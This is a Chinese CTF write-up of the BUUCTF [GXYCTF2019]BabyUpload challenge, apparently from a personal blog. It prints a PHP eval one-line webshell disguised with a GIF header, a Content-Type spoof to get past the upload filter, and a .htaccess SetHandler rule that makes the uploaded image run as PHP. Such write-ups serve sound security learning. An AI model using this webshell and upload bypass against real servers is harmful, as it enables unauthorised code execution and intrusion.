BUUCTF之[GXYCTF2019]BabyUpload-------文件解析漏洞(.htaccess)
早上遇到一个文件解析漏洞,下午又遇到一个。。。。好吧,看来文件解析漏洞在CTF中也是很重要的一个知识点!!!
首先启动挑战项目
先正常的上传一句话木马:
GIF89a?
<script language="php">eval($_POST['zyh']);</script>
我经常用这样的一句话木马,为了防止php文件内容被过滤啥的…
所以,把传输的文件名改回1.png。但是还是不能上传成功。(好奇怪啊,怎么连图片都不给上传了?)
然后又发现不管我把后缀名改成.txt .jpeg .gif等等的都不能绕过过滤。最后根据以往的做题经验,想到可能是检测文件类型的Content-Type被拦截了。所以需要把之前的image/png 改成image/jpeg
这时你再用蚁剑去连接一下,会发现是会报错的。。。
嗯!接下来的才是重点!文件解析漏洞(.htaccess)。
这里需要再上传一个文件.htaccess。用于把我们改成上传的1.png转换成php执行的文件。
.htaccess是什么
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
来源网站:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
那么现在开始编写.htaccess文件的内容:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
注意里面的1.png要和刚才上传的文件名保持一致!
该做的准备工作都完成了,可以去拿我们的flag了!
flag在根目录下的flag文件下